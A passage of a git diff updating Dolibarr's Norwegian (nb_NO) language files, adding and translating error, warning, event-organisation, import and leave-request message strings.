      * Manuelle mapper kan du bruke til å lagre dokumenter som ikke er lenket til et spesielt element. +ECMAreaDesc2a=* Manuelle kataloger kan brukes til å lagre dokumenter som ikke er knyttet til et bestemt element. +ECMAreaDesc2b=* Automatiske kataloger fylles automatisk når du legger til dokumenter fra siden til et element. +ECMAreaDesc3=* Media-kataloger er filer i underkatalogen /medias i dokumentkatalogen, lesbare av alle uten behov for å logges og uten behov for å dele filen eksplisitt. Den brukes til å lagre bildefiler til for eksempel epost- eller nettsidemodulen. ECMSectionWasRemoved=Mappen %s er slettet. ECMSectionWasCreated=Mappen %s er opprettet. ECMSearchByKeywords=Søk på nøkkelord diff --git a/htdocs/langs/nb_NO/errors.lang b/htdocs/langs/nb_NO/errors.lang index 525af6048b7..ebe033fbaf4 100644 --- a/htdocs/langs/nb_NO/errors.lang +++ b/htdocs/langs/nb_NO/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=brukernavnet %s eksisterer allerede. ErrorGroupAlreadyExists=Gruppen %s eksisterer allerede. ErrorEmailAlreadyExists=E-post %s eksisterer allerede. ErrorRecordNotFound=Posten ble ikke funnet. +ErrorRecordNotFoundShort=Ikke funnet ErrorFailToCopyFile=Klarte ikke å kopiere filen '«%s' til '%s'. ErrorFailToCopyDir=Klarte ikke å kopiere katalogen '%s' til '%s'. ErrorFailToRenameFile=Kunne ikke omdøpe filen '%s' til '%s' @@ -48,6 +49,7 @@ ErrorBadImageFormat=Bildeformatet støttes ikke (Din PHP støtter ikke konverter ErrorBadDateFormat=Verdien '%s' har feil datoformat ErrorWrongDate=Dato er feil! ErrorFailedToWriteInDir=Kan ikke skrive til mappen %s +ErrorFailedToBuildArchive=Kunne ikke bygge arkivfilen %s ErrorFoundBadEmailInFile=Feil e-postsyntaks for %s linjer i filen (for eksempel linje %s med e-post=%s) ErrorUserCannotBeDelete=Brukeren kan ikke slettes. Kanskje det er knyttet til Dolibarr-enheter. ErrorFieldsRequired=Noen obligatoriske felt er tomme. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Sett inn verdi for å velge avkrysningsboks-liste ErrorNoValueForRadioType=Sett i verdi for radioknapp-liste ErrorBadFormatValueList=Listeverdien kan ikke ha mer enn ett komma: %s, men må ha minst ett: nøkkel,verdi ErrorFieldCanNotContainSpecialCharacters=Feltet %s må ikke inneholde spesialtegn. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Feltet %s må ikke inneholde spesialtegn eller store bokstaver, og kan ikke inneholde bare tall. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Feltet %s må ikke inneholde spesialtegn, heller ikke store bokstaver, og må starte med et alfabetisk tegn (a-z) ErrorFieldMustHaveXChar=Feltet %s må ha minst %s tegn. ErrorNoAccountancyModuleLoaded=Ingen regnskapsmodul aktivert ErrorExportDuplicateProfil=Profilnavnet til dette eksport-oppsettet finnes allerede @@ -92,12 +94,12 @@ ErrorModuleRequireJavascript=Javascript må være aktivert for å kunne bruke de ErrorPasswordsMustMatch=Passordene må samsvare med hverandre ErrorContactEMail=En teknisk feil oppsto. Vennligst kontakt administrator på e-post %s og oppgi feilkoden %s i meldingen, eller legg til en skjermdump av denne siden. ErrorWrongValueForField=Felt %s : ' %s ' stemmer ikke overens med regexregel %s -ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed +ErrorHtmlInjectionForField=Felt %s : Verdien ' %s ' inneholder ikke tillatte data ErrorFieldValueNotIn=Felt %s : ' %s ' er ikke en verdi funnet i felt %s av %s ErrorFieldRefNotIn=Felt %s : ' %s ' er ikke en %s eksisterende ref +ErrorMultipleRecordFoundFromRef=Flere poster funnet ved søk fra ref %s . Ingen måte å vite hvilken ID du skal bruke. ErrorsOnXLines=%s feil funnet ErrorFileIsInfectedWithAVirus=Antivirus-programmet var ikke i stand til å validere filen (filen kan være infisert av et virus) -ErrorSpecialCharNotAllowedForField=Spesialtegn er ikke tillatt for feltet "%s" ErrorNumRefModel=En referanse finnes i databasen (%s), og er ikke kompatibel med denne nummereringsregelen. Fjern posten eller omdøp referansen for å aktivere denne modulen. ErrorQtyTooLowForThisSupplier=Mengde for lav for denne leverandøren eller ingen pris angitt på dette produktet for denne leverandøren ErrorOrdersNotCreatedQtyTooLow=Noen ordrer er ikke opprettet på grunn av for lave mengder @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Objekter må ha status 'Aktiv' for ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objekter må ha status 'Utkast' eller 'Deaktivert' for å være aktivert ErrorNoFieldWithAttributeShowoncombobox=Ingen felt har egenskapen 'showoncombobox' til definisjon av objektet '%s'. Ingen måte å vise kombinatoren på. ErrorFieldRequiredForProduct=Felt %ser påkrevd for produktet %s +AlreadyTooMuchPostOnThisIPAdress=Du har allerede lagt ut for mye på denne IP-adressen. ProblemIsInSetupOfTerminal=Problemet er under konfigurering av terminal %s. ErrorAddAtLeastOneLineFirst=Legg til minst en linje først ErrorRecordAlreadyInAccountingDeletionNotPossible=Feil, posten er allerede overført i regnskap, sletting er ikke mulig. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Feil, parameter %s må v ErrorLoginDateValidity=Feil, denne påloggingen er utenfor gyldig datoområde ErrorValueLength=Lengden på feltet ' %s ' må være høyere enn ' %s ' ErrorReservedKeyword=Ordet ' %s ' er et reservert nøkkelord +ErrorFilenameReserved=Filnavnet %s kan ikke brukes da det er en reservert og beskyttet kommando. ErrorNotAvailableWithThisDistribution=Ikke tilgjengelig i denne distribusjonen ErrorPublicInterfaceNotEnabled=Offentlig grensesnitt var ikke aktivert ErrorLanguageRequiredIfPageIsTranslationOfAnother=Språket til den nye siden må defineres hvis den er angitt som oversettelse av en annen side @@ -271,14 +275,14 @@ ErrorYouMustFirstSetupYourChartOfAccount=Du må først konfigurere kontoplanen d ErrorFailedToFindEmailTemplate=Kunne ikke finne mal med kodenavn %s ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Varighet ikke definert på tjenesten. Ingen måte å beregne timeprisen. ErrorActionCommPropertyUserowneridNotDefined=Brukerens eier kreves -ErrorActionCommBadType=Selected event type (id: %s, code: %s) do not exist in Event Type dictionary +ErrorActionCommBadType=Valgt hendelsestype (id: %s, kode: %s) finnes ikke i ordboken for hendelsestype CheckVersionFail=Versjonskontroll mislyktes ErrorWrongFileName=Navnet på filen kan ikke inneholde __SOMETHING__ ErrorNotInDictionaryPaymentConditions=Ikke i ordboken for betalingsvilkår, vennligst endre. ErrorIsNotADraft=%s er ikke et utkast ErrorExecIdFailed=Kan ikke utføre kommandoen "id" -ErrorBadCharIntoLoginName=Uautorisert tegn i påloggingsnavnet -ErrorRequestTooLarge=Feil, forespørselen er for stor +ErrorBadCharIntoLoginName=Ikke tillatt tegn i feltet %s +ErrorRequestTooLarge=Feil, forespørselen er for stor eller økten er utløpt ErrorNotApproverForHoliday=Du er ikke godkjenneren for permisjon %s ErrorAttributeIsUsedIntoProduct=Dette attributtet brukes i én eller flere varevarianter ErrorAttributeValueIsUsedIntoProduct=Denne attributtverdien brukes i én eller flere varevarianter @@ -286,16 +290,31 @@ ErrorPaymentInBothCurrency=Feil, alle beløp må legges inn i samme kolonne ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=Du prøver å betale fakturaer i valutaen %s fra en konto med valutaen %s ErrorInvoiceLoadThirdParty=Kan ikke laste inn tredjepartsobjekt for faktura "%s" ErrorInvoiceLoadThirdPartyKey=Tredjepartsnøkkel "%s" ikke angitt for faktura "%s" -ErrorDeleteLineNotAllowedByObjectStatus=Delete line is not allowed by current object status +ErrorDeleteLineNotAllowedByObjectStatus=Slett linje er ikke tillatt av gjeldende objektstatus ErrorAjaxRequestFailed=Forespørsel feilet -ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is mandatory -ErrorFailedToWriteInTempDirectory=Failed to write in temp directory -ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorThirpdartyOrMemberidIsMandatory=Tredjepart eller medlem av partnerskap er obligatorisk +ErrorFailedToWriteInTempDirectory=Kunne ikke skrive i midlertidig katalog +ErrorQuantityIsLimitedTo=Antallet er begrenset til %s +ErrorFailedToLoadThirdParty=Kunne ikke finne/laste tredjepart fra id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=Denne betalingsmåten er ikke en bankkonto +ErrorStripeCustomerNotFoundCreateFirst=Stripe-kunden er ikke angitt for denne tredjeparten (eller satt til en verdi slettet på Stripe-siden). Opprett (eller fest den på nytt) først. +ErrorCharPlusNotSupportedByImapForSearch=IMAP-søk kan ikke søke i avsender eller mottaker etter en streng som inneholder tegnet + +ErrorTableNotFound=Tabell %s ble ikke funnet +ErrorValueForTooLow=Verdien for %s er for lav +ErrorValueCantBeNull=Verdien for %s kan ikke være null +ErrorDateOfMovementLowerThanDateOfFileTransmission=Datoen for banktransaksjonen kan ikke være lavere enn datoen for filoverføringen +ErrorTooMuchFileInForm=For mange filer i skjemaet, maksimalt antall er %s fil(er) +ErrorSessionInvalidatedAfterPasswordChange=Økten ble ugyldig etter endring av passord, status eller gyldighetsdato. Logg på på nytt. +ErrorExistingPermission = Tillatelse %s for objekt %s finnes allerede +ErrorFieldExist=Verdien for %s finnes allerede +ErrorEqualModule=Modulen er ugyldig i %s +ErrorFieldValue=Verdien for %s er feil +ErrorCoherenceMenu=%s er påkrevd når %s er 'venstre' # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=PHP-parameteren upload_max_filesize (%s) er høyere enn PHP-parameteren post_max_size (%s). Dette er ikke et konsistent oppsett. WarningPasswordSetWithNoAccount=Et passord ble satt for dette medlemmet, men ingen brukerkonto ble opprettet. Det fører til at passordet ikke kan benyttes for å logge inn på Dolibarr. Det kan brukes av en ekstern modul/grensesnitt, men hvis du ikke trenger å definere noen innlogging eller passord for et medlem, kan du deaktivere alternativet "opprett en pålogging for hvert medlem" fra medlemsmodul-oppsettet. Hvis du trenger å administrere en pålogging, men ikke trenger noe passord, kan du holde dette feltet tomt for å unngå denne advarselen. Merk: E-post kan også brukes som en pålogging dersom medlemmet er knyttet til en bruker. -WarningMandatorySetupNotComplete=Click here to setup main parameters +WarningMandatorySetupNotComplete=Klikk her for å sette opp hovedparametere WarningEnableYourModulesApplications=Klikk her for å aktivere modulene og applikasjonene dine WarningSafeModeOnCheckExecDir=Advarsel, PHP alternativet safe_mode er på så kommandere må lagres i en mappe erklært av php parameter safe_mode_exec_dir. WarningBookmarkAlreadyExists=Et bokmerke med denne tittelen eller denne URL'en eksisterer fra før. @@ -304,7 +323,7 @@ WarningConfFileMustBeReadOnly=Advarsel, config-filen din (htdocs / conf / con WarningsOnXLines=Advarsler på %s kildelinje(r) WarningNoDocumentModelActivated=Ingen modell for dokumentgenerering har blitt aktivert. En modell vil bli valgt som standard til du sjekker moduloppsettet. WarningLockFileDoesNotExists=Advarsel, når installasjonen er ferdig, må du deaktivere installasjons- / overføringsverktøyene ved å legge til en fil install.lock i katalogen %s . Mangel av denne filen er en alvorlig sikkerhetsrisiko. -WarningUntilDirRemoved=Alle sikkerhetsadvarsler (bare synlige for adminbrukere) forblir aktive så lenge sårbarheten er til stede (eller den konstante MAIN_REMOVE_INSTALL_WARNING er lagt til i Oppsett-> Annet oppsett). +WarningUntilDirRemoved=Denne sikkerhetsadvarselen vil forbli aktiv så lenge sårbarheten er til stede. WarningCloseAlways=Advarsel! Avsluttes selv om beløpet er forskjellig mellom kilde- og målelementer. Aktiver denne funksjonen med forsiktighet. WarningUsingThisBoxSlowDown=Advarsel! Ved å bruke denne boksen vil du gjøre alle sider som bruker den, tregere. WarningClickToDialUserSetupNotComplete=Oppsett av KlikkForÅRinge informasjon for din bruker er ikke komplett (Se fanen KlikkForÅRinge på ditt bruker-kort) @@ -313,6 +332,7 @@ WarningPaymentDateLowerThanInvoiceDate=Betalingsdato (%s) er tidligere enn faktu WarningTooManyDataPleaseUseMoreFilters=For mange data (mer enn %s linjer). Bruk flere filtre eller sett konstanten %s til en høyere grense. WarningSomeLinesWithNullHourlyRate=Noen tider ble registrert av noen brukere mens deres timepris ikke var definert. En verdi på 0 %s pr. time ble brukt, men dette kan føre til feil verdivurdering av tidsbruk. WarningYourLoginWasModifiedPleaseLogin=Din innlogging er blitt endret. Av sikkerhetsgrunner må du logge inn på nytt før du kan gjøre noe. +WarningYourPasswordWasModifiedPleaseLogin=Passordet ditt ble endret. Av sikkerhetshensyn må du logge på nå med ditt nye passord. WarningAnEntryAlreadyExistForTransKey=En oppføring eksisterer allerede for oversettelsesnøkkel for dette språket WarningNumberOfRecipientIsRestrictedInMassAction=Advarsel, antall forskjellige mottakere er begrenset til %s ved bruk av massehandlinger på lister WarningDateOfLineMustBeInExpenseReportRange=Advarsel, datoen for linjen ligger utenfor tiden til utgiftsrapporten @@ -325,7 +345,10 @@ WarningCreateSubAccounts=Advarsel, du kan ikke opprette en underkonto direkte, d WarningAvailableOnlyForHTTPSServers=Bare tilgjengelig hvis du bruker HTTPS-sikret tilkobling. WarningModuleXDisabledSoYouMayMissEventHere=Modul %s er ikke aktivert, så du kan gå glipp av mange hendelser her. WarningPaypalPaymentNotCompatibleWithStrict=Verdien 'Strict' gjør at betalingsfunksjonene på nettet ikke fungerer som de skal. Bruk 'Lax' i stedet. -WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningThemeForcedTo=Advarsel, tema har blitt tvunget til %s av skjult konstant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Advarsel, dette vil også slette alle eksisterende sider/beholdere på nettstedet. Du bør eksportere nettstedet ditt før, så du har en sikkerhetskopi for å reimportere den senere. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatisk validering er deaktivert når alternativet for å redusere beholdning er satt på "Fakturavalidering". +WarningModuleNeedRefrech = Modul %s er deaktivert. Ikke glem å aktivere den # Validate RequireValidValue = Verdien er ikke gyldig diff --git a/htdocs/langs/nb_NO/eventorganization.lang b/htdocs/langs/nb_NO/eventorganization.lang index 70651303828..c0eb25d529c 100644 --- a/htdocs/langs/nb_NO/eventorganization.lang +++ b/htdocs/langs/nb_NO/eventorganization.lang @@ -37,7 +37,7 @@ EventOrganization=Arrangementsorganisering Settings=Innstillinger EventOrganizationSetupPage = Konfigurasjonsside for arrangementsorganisasjon EVENTORGANIZATION_TASK_LABEL = Etikett over oppgaver som skal opprettes automatisk når prosjektet er validert -EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip = Når du validerer et arrangement for å organisere, kan noen oppgaver automatisk opprettes i prosjektet.

      For eksempel:
      Send innkalling til konferanser
      Send innkalling til stander
      Valider forslag til konferanser
      Valider søknad om stander
      Åpne abonnementer på arrangementet for deltakere
      Send en påminnelse om arrangementet til foredragsholdere
      Send en påminnelse om arrangementet til Booth-verter
      Send en påminnelse om arrangementet til deltakerne EVENTORGANIZATION_TASK_LABELTooltip2=Hold tom hvis du ikke trenger å opprette oppgaver automatisk. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Kategori for å legge til tredjeparter opprettes automatisk når noen foreslår en konferanse EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Kategori som skal legges til tredjeparter opprettes automatisk når de foreslår en stand @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = I skjemaet for å opprette/legge til en # Object # EventOrganizationConfOrBooth= Konferanse eller messe +EventOrganizationConfOrBoothes=Konferanser eller stander ManageOrganizeEvent = Administrer organiseringen av et arrangement ConferenceOrBooth = Konferanse eller messe ConferenceOrBoothTab = Konferanse eller messe AmountPaid = Beløpet betalt DateOfRegistration = Registreringsdato ConferenceOrBoothAttendee = Konferanse- eller standdeltaker +ApplicantOrVisitor=Søker eller besøkende +Speaker=Taler # # Template Mail @@ -109,18 +112,18 @@ EvntOrgCancelled = Kansellert SuggestForm = Forslagsside SuggestOrVoteForConfOrBooth = Side for forslag eller stemme EvntOrgRegistrationHelpMessage = Her kan du stemme på en konferanse eller foreslå en ny til arrangementet. Du kan også søke om å ha stand under arrangementet. -EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. +EvntOrgRegistrationConfHelpMessage = Her kan du foreslå en ny konferanse under arrangementet. EvntOrgRegistrationBoothHelpMessage = Her kan du søke om å få stand under arrangementet. ListOfSuggestedConferences = Liste over foreslåtte konferanser -ListOfSuggestedBooths = Liste over foreslåtte stander -ListOfConferencesOrBooths=Liste over konferanser eller stander for arrangementsprosjekt +ListOfSuggestedBooths=Foreslåtte boder +ListOfConferencesOrBooths=Konferanser eller stander av arrangementsprosjektet SuggestConference = Foreslå en ny konferanse SuggestBooth = Foreslå en stand ViewAndVote = Se og stem på foreslåtte arrangementer PublicAttendeeSubscriptionGlobalPage = Offentlig lenke for påmelding til arrangementet PublicAttendeeSubscriptionPage = Offentlig lenke for registrering kun til dette arrangementet MissingOrBadSecureKey = Sikkerhetsnøkkelen er ugyldig eller mangler -EvntOrgWelcomeMessage = Dette skjemaet lar deg registrere deg som ny deltaker til arrangementet: %s +EvntOrgWelcomeMessage = Dette skjemaet lar deg registrere deg som ny deltaker til arrangementet EvntOrgDuration = Denne konferansen starter på %s og slutter på %s. ConferenceAttendeeFee = Konferansedeltakers avgift for arrangementet: '%s' skjer fra %s til %s. BoothLocationFee = Standplassering for hendelsen: '%s' som skjer fra %s til %s @@ -130,7 +133,7 @@ LabelOfconference=Konferanseetikett ConferenceIsNotConfirmed=Påmelding ikke tilgjengelig, konferansen er ikke bekreftet ennå DateMustBeBeforeThan=%s må være før %s DateMustBeAfterThan=%s må være etter %s - +MaxNbOfAttendeesReached=Maksimalt antall deltakere er nådd NewSubscription=Registrering OrganizationEventConfRequestWasReceived=Ditt forslag til en konferanse er mottatt OrganizationEventBoothRequestWasReceived=Din forespørsel om stand er mottatt @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Betalingen for arrangementsreg OrganizationEventBulkMailToAttendees=Dette er en påminnelse om din deltakelse i arrangementet som deltaker OrganizationEventBulkMailToSpeakers=Dette er en påminnelse om din deltakelse i arrangementet som foredragsholder OrganizationEventLinkToThirdParty=Link til tredjepart (kunde, leverandør eller partner) +OrganizationEvenLabelName=Offentlig navn på konferansen eller standen NewSuggestionOfBooth=Søknad om stand NewSuggestionOfConference=Søknad om konferanse @@ -149,21 +153,24 @@ NewSuggestionOfConference=Søknad om konferanse EvntOrgRegistrationWelcomeMessage = Velkommen til forslagssiden til konferanse eller stand. EvntOrgRegistrationConfWelcomeMessage = Velkommen til forslagssiden til konferanse. EvntOrgRegistrationBoothWelcomeMessage = Velkommen til forslagssiden til stand. -EvntOrgVoteHelpMessage = Here, you can view and vote for the suggested events for the project -VoteOk = Your vote has been accepted. -AlreadyVoted = You have already voted for this event. -VoteError = An error has occurred during the vote, please try again. +EvntOrgVoteHelpMessage = Her kan du se og stemme på de foreslåtte arrangementene for prosjektet +VoteOk = Din stemme har blitt akseptert. +AlreadyVoted = Du har allerede stemt på dette arrangementet. +VoteError = Det har oppstått en feil under avstemningen, prøv igjen. -SubscriptionOk = Registreringen din er validert +SubscriptionOk=Registreringen din er registrert ConfAttendeeSubscriptionConfirmation = Bekreftelse på ditt abonnement på et arrangement Attendee = Deltaker PaymentConferenceAttendee = Betaling for konferansedeltakere -PaymentBoothLocation = Booth location payment +PaymentBoothLocation = Betaling for standplassering DeleteConferenceOrBoothAttendee=Fjern deltaker -RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s -EmailAttendee=Attendee email -EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) -ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event -MaxNbOfAttendees=Max number of attendees +RegistrationAndPaymentWereAlreadyRecorder=En registrering og en betaling er allerede registrert for eposten %s +EmailAttendee=Deltakerens epost +EmailCompany=Firma epost +EmailCompanyForInvoice=Firma-epost (for faktura, hvis forskjellig fra deltaker-epost) +ErrorSeveralCompaniesWithEmailContactUs=Flere selskaper med denne epostadressen er funnet, så vi kan ikke automatisk validere registreringen din. Vennligst kontakt oss på %s for en manuell validering +ErrorSeveralCompaniesWithNameContactUs=Flere selskaper med dette navnet er funnet, så vi kan ikke automatisk validere registreringen din. Vennligst kontakt oss på %s for en manuell validering +NoPublicActionsAllowedForThisEvent=Ingen offentlige handlinger er åpne for offentligheten for dette arrangementet +MaxNbOfAttendees=Maks antall deltakere +DateStartEvent=Startdato for arrangementet +DateEndEvent=Sluttdato for arrangementet diff --git a/htdocs/langs/nb_NO/exports.lang b/htdocs/langs/nb_NO/exports.lang index e726f74cdcd..ec61195bdc2 100644 --- a/htdocs/langs/nb_NO/exports.lang +++ b/htdocs/langs/nb_NO/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Eksporterbare felt ExportedFields=Eksporterte felt ImportModelName=Import profilnavn ImportModelSaved=Importprofil lagret som %s . +ImportProfile=Importprofil DatasetToExport=Datasett til eksport DatasetToImport=Importer filen til datasettet ChooseFieldsOrdersAndTitle=Velg feltrekkefølge... @@ -53,8 +54,9 @@ TypeOfLineServiceOrProduct=Linjetype (0=vare, 1=tjeneste) FileWithDataToImport=Fil med data som skal importeres FileToImport=Kildefilen du vil importere FileMustHaveOneOfFollowingFormat=Fil som skal importeres må ha ett av følgende formater -DownloadEmptyExample=Download template file with field content information -StarAreMandatory=* are mandatory fields +DownloadEmptyExampleShort=Last ned en eksempelfil +DownloadEmptyExample=Last ned en malfil med eksempler og informasjon om felt du kan importere +StarAreMandatory=I malfilen er alle felt med * obligatoriske felt ChooseFormatOfFileToImport=Velg filformatet som skal brukes som importfilformat ved å klikke på %s-ikonet for å velge det ... ChooseFileToImport=Last opp fil og klikk deretter på %s ikonet for å velge fil som kilde-importfil ... SourceFileFormat=Kildefil-format @@ -82,7 +84,7 @@ SelectFormat=Velg dette filformatet for import RunImportFile=Importer data NowClickToRunTheImport=Sjekk resultatene av importsimuleringen. Rett eventuelle feil og test på nytt.
      Når simuleringen ikke rapporterer feil, kan du fortsette med å importere dataene til databasen. DataLoadedWithId=De importerte dataene vil ha et ekstra felt i hver databasetabell med denne import-ID: %s , slik at et problem relatert til denne importen, blir søkbar. -ErrorMissingMandatoryValue=Obligatoriske data er tomme i kildefilen for feltet %s . +ErrorMissingMandatoryValue=Obligatoriske data er tomme i kildefilen i kolonne %s . TooMuchErrors=Det er fortsatt %s andre kildelinjer med feil, men utdata er blitt begrenset. TooMuchWarnings=Det er fortsatt %s andre kildelinjer med advarsler, men utdata er blitt begrenset. EmptyLine=Tom linje (vil bli forkastet) @@ -92,12 +94,12 @@ YouCanUseImportIdToFindRecord=Du kan finne alle importerte poster i databasen ve NbOfLinesOK=Antall linjer uten feil og ingen advarsler: %s. NbOfLinesImported=Antall linjer importert: %s. DataComeFromNoWhere=Verdi for å sette inn har ingen kilde. -DataComeFromFileFieldNb=Verdi for å sette inn kommer fra felt nummer %s i kildefilen. -DataComeFromIdFoundFromRef=Verdien som kommer fra feltnummer %s i kildefilen vil bli brukt til å finne ID'en til foreldreobjektet som skal brukes (slik at objektet %s som har referansen fra kildefilen, må eksistere i databasen). -DataComeFromIdFoundFromCodeId=Kode som kommer fra feltnummer %s fra kildefilen vil bli brukt til å finne ID'en til overordnet objekt å bruke (koden fra kildefilen må eksistere i ordboken %s ). Merk at hvis du kjenner ID'en, kan du også bruke den i kildefilen i stedet for koden. Importen skal fungere i begge tilfeller. +DataComeFromFileFieldNb=Verdien som skal settes inn kommer fra kolonne %s i kildefilen. +DataComeFromIdFoundFromRef=Verdien som kommer fra kildefilen vil bli brukt til å finne IDen til det overordnede objektet som skal brukes (så objektet %s som har ref. fra kildefilen må eksistere i databasen). +DataComeFromIdFoundFromCodeId=Verdien av koden som kommer fra kildefilen vil bli brukt til å finne ID-en til det overordnede objektet som skal brukes (så koden fra kildefilen må finnes i ordboken %s ). Merk at hvis du kjenner ID-en, kan du også bruke den i kildefilen i stedet for koden. Import bør fungere i begge tilfeller. DataIsInsertedInto=Data fra kildefil blir satt inn på følgende felt: -DataIDSourceIsInsertedInto=The id of the parent object, that was found using the data in the source file, will be inserted into the following field: -DataCodeIDSourceIsInsertedInto=The id of the parent line, that was found from code, will be inserted into the following field: +DataIDSourceIsInsertedInto=ID-en til det overordnede objektet, som ble funnet ved hjelp av dataene i kildefilen, vil bli satt inn i følgende felt: +DataCodeIDSourceIsInsertedInto=ID-en til den overordnede linjen, som ble funnet fra kode, vil bli satt inn i følgende felt: SourceRequired=Dataverdi er obligatorisk SourceExample=Eksempel på mulig dataverdi ExampleAnyRefFoundIntoElement=Alle referanser funnet for element %s @@ -132,6 +134,14 @@ FormatControlRule=Format kontrollregel ## imports updates KeysToUseForUpdates=Nøkkel (kolonne) som skal brukes til oppdatering av eksisterende data NbInsert=Antall innsatte linjer: %s +NbInsertSim=Antall linjer som vil bli satt inn: %s NbUpdate=Antall oppdaterte linjer: %s +NbUpdateSim=Antall linjer som vil bli oppdatert: %s MultipleRecordFoundWithTheseFilters=Flere poster er blitt funnet med disse filtrene: %s StocksWithBatch=Beholdning og plassering (varehus) av produkter med lot/serienummer +WarningFirstImportedLine=De(n) første linjen(e) vil ikke bli importert med det gjeldende utvalget +NotUsedFields=Felt i databasen som ikke er brukt +SelectImportFieldsSource = Velg kildefilfeltene du vil importere og deres målfelt i databasen ved å velge feltene i hver utvalgsboks, eller velg en forhåndsdefinert importprofil: +MandatoryTargetFieldsNotMapped=Noen obligatoriske målfelt er ikke kartlagt +AllTargetMandatoryFieldsAreMapped=Alle målfelt som trenger en obligatorisk verdi er kartlagt +ResultOfSimulationNoError=Resultat av simulering: Ingen feil diff --git a/htdocs/langs/nb_NO/holiday.lang b/htdocs/langs/nb_NO/holiday.lang index ba51387b850..aef204eb218 100644 --- a/htdocs/langs/nb_NO/holiday.lang +++ b/htdocs/langs/nb_NO/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Permisjon +Holidays=Ferier +Holiday=Permisjon CPTitreMenu=Permisjon MenuReportMonth=Månedlig uttalelse MenuAddCP=Ny feriesøknad +MenuCollectiveAddCP=Ny kollektiv permisjonsforespørsel NotActiveModCP=Du må aktivere modulen Permisjon for å vise denne siden. AddCP=Opprett feriesøknad DateDebCP=Startdato @@ -27,7 +29,7 @@ DescCP=Beskrivelse SendRequestCP=Opprett feriesøknad DelayToRequestCP=Søknader må opprettes minst %s dag(er) før ferien skal starte MenuConfCP=Permisjonsbalanse -SoldeCPUser=Leave balance (in days) %s +SoldeCPUser=Permisjonsbalanse (i dager) %s ErrorEndDateCP=Sluttdato må være senere en startdato ErrorSQLCreateCP=En SQL feil oppsto under opprettelse: ErrorIDFicheCP=En feil oppsto. Feriesøknaden finnes ikke @@ -40,7 +42,7 @@ TypeOfLeaveId=Type ferie - ID TypeOfLeaveCode=Type feriekode TypeOfLeaveLabel=Ferietype-merke NbUseDaysCP=Antall permisjonsdager brukt -NbUseDaysCPHelp=The calculation takes into account the non-working days and the holidays defined in the dictionary. +NbUseDaysCPHelp=Beregningen tar hensyn til arbeidsfrie dager og helligdager som er definert i ordboken. NbUseDaysCPShort=Permisjonsdager NbUseDaysCPShortInMonth=Permisjonsdager i måned DayIsANonWorkingDay=%s er ikke en arbeidsdag @@ -55,7 +57,8 @@ TitleDeleteCP=Slett en feriesøknad ConfirmDeleteCP=Bekrefte sletting av denne feriesøknaden? ErrorCantDeleteCP=Feil! Du har ikke lov til å slette denne feriesøknaden CantCreateCP=Du har ikke lov til å opprette feriesøknader. -InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidatorCP=Du må velge godkjenner for permisjonsforespørselen din. +InvalidValidator=Den valgte brukeren er ikke en godkjenner. NoDateDebut=Du må velge en startdato. NoDateFin=Du må velge en sluttdato. ErrorDureeCP=Perioden du søker for inneholder ikke arbeidsdager @@ -79,13 +82,22 @@ MotifCP=Begrunnelse UserCP=Bruker ErrorAddEventToUserCP=En feil oppsto ved opprettelse av ekstraordinær ferie AddEventToUserOkCP=Opprettelse av ekstraordinær ferie er utført +ErrorFieldRequiredUserOrGroup=Feltet "gruppe" eller "bruker"-feltet må fylles ut +fusionGroupsUsers=Gruppefeltet og brukerfeltet vil bli slått sammen MenuLogCP=Vis endringslogger -LogCP=Log of all updates made to "Balance of Leave" +LogCP=Logg over alle oppdateringer gjort til «Permisjonsbalanse» ActionByCP=Oppdatert av UserUpdateCP=Oppdatert for PrevSoldeCP=Forrige balanse NewSoldeCP=Ny balanse alreadyCPexist=En feriesøknad er allerede utført for denne perioden +UseralreadyCPexist=En permisjonsforespørsel er allerede gjort for denne perioden for %s. +groups=Grupper +users=Brukere +AutoSendMail=Automatisk utsendelse +NewHolidayForGroup=Ny kollektiv permisjonsforespørsel +SendRequestCollectiveCP=Send kollektiv permisjonsforespørsel +AutoValidationOnCreate=Automatisk validering FirstDayOfHoliday=Første dag for permisjon LastDayOfHoliday=Siste dag for permisjon BoxTitleLastLeaveRequests=Siste %s endrede ferieforespørsler @@ -104,8 +116,8 @@ 